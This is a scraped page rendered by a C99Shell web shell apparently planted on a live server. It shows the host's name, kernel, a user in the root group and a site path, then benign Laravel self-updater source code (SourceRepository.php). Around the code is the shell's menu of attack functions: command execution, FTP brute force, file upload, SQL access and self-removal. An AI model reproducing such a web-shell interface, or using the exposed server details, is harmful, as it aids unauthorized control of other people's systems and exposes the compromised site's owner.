!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/packages/codedge/laravel-selfupdater/src/   drwxr-xr-x
Free 28.47 GB of 117.98 GB (24.13%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SourceRepository.php (3.58 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Codedge\Updater;

use 
Codedge\Updater\Contracts\SourceRepositoryTypeContract;
use 
Codedge\Updater\Models\Release;
use 
Codedge\Updater\Models\UpdateExecutor;
use 
Codedge\Updater\Traits\SupportPrivateAccessToken;
use 
Codedge\Updater\Traits\UseVersionFile;
use 
Illuminate\Support\Facades\Artisan;

/**
 * SourceRepository.
 *
 * @author Holger Lösken <holger.loesken@codedge.de>
 * @copyright See LICENSE file that was distributed with this source code.
 */
final class SourceRepository implements SourceRepositoryTypeContract
{
    use 
UseVersionFileSupportPrivateAccessToken;

    
/**
     * @var SourceRepositoryTypeContract
     */
    
protected $sourceRepository;

    
/**
     * @var UpdateExecutor
     */
    
protected $updateExecutor;

    
/**
     * SourceRepository constructor.
     *
     * @param SourceRepositoryTypeContract $sourceRepository
     */
    
public function __construct(SourceRepositoryTypeContract $sourceRepositoryUpdateExecutor $updateExecutor)
    {
        
$this->sourceRepository $sourceRepository;
        
$this->updateExecutor $updateExecutor;
    }

    
/**
     * Fetches the latest version. If you do not want the latest version, specify one and pass it.
     *
     * @param string $version
     *
     * @return Release
     */
    
public function fetch($version ''): Release
    
{
        
$version $version ?: $this->getVersionAvailable();

        return 
$this->sourceRepository->fetch($version);
    }

    
/**
     * @param Release $release
     *
     * @return bool
     * @throws \Exception
     */
    
public function update(Release $release): bool
    
{
        return 
$this->updateExecutor->run($release);
    }

    
/**
     * Check repository if a newer version than the installed one is available.
     *
     * @param string $currentVersion
     *
     * @return bool
     */
    
public function isNewVersionAvailable($currentVersion ''): bool
    
{
        return 
$this->sourceRepository->isNewVersionAvailable($currentVersion);
    }

    
/**
     * Get the version that is currenly installed.
     * Example: 1.1.0 or v1.1.0 or "1.1.0 version".
     *
     * @param string $prepend
     * @param string $append
     *
     * @return string
     */
    
public function getVersionInstalled($prepend ''$append ''): string
    
{
        return 
$this->sourceRepository->getVersionInstalled($prepend$append);
    }

    
/**
     * Get the latest version that has been published in a certain repository.
     * Example: 2.6.5 or v2.6.5.
     *
     * @param string $prepend Prepend a string to the latest version
     * @param string $append  Append a string to the latest version
     *
     * @return string
     */
    
public function getVersionAvailable($prepend ''$append ''): string
    
{
        return 
$this->sourceRepository->getVersionAvailable($prepend$append);
    }

    
/**
     * Run pre update artisan commands from config.
     */
    
public function preUpdateArtisanCommands(): int
    
{
        
$commands collect(config('self-update.artisan_commands.pre_update'));

        
$commands->each(function ($commandParams$commandKey) {
            
Artisan::call($commandKey$commandParams['params']);
        });

        return 
$commands->count();
    }

    
/**
     * Run post update artisan commands from config.
     */
    
public function postUpdateArtisanCommands(): int
    
{
        
$commands collect(config('self-update.artisan_commands.post_update'));

        
$commands->each(function ($commandParams$commandKey) {
            
Artisan::call($commandKey$commandParams['params']);
        });

        return 
$commands->count();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0108 ]--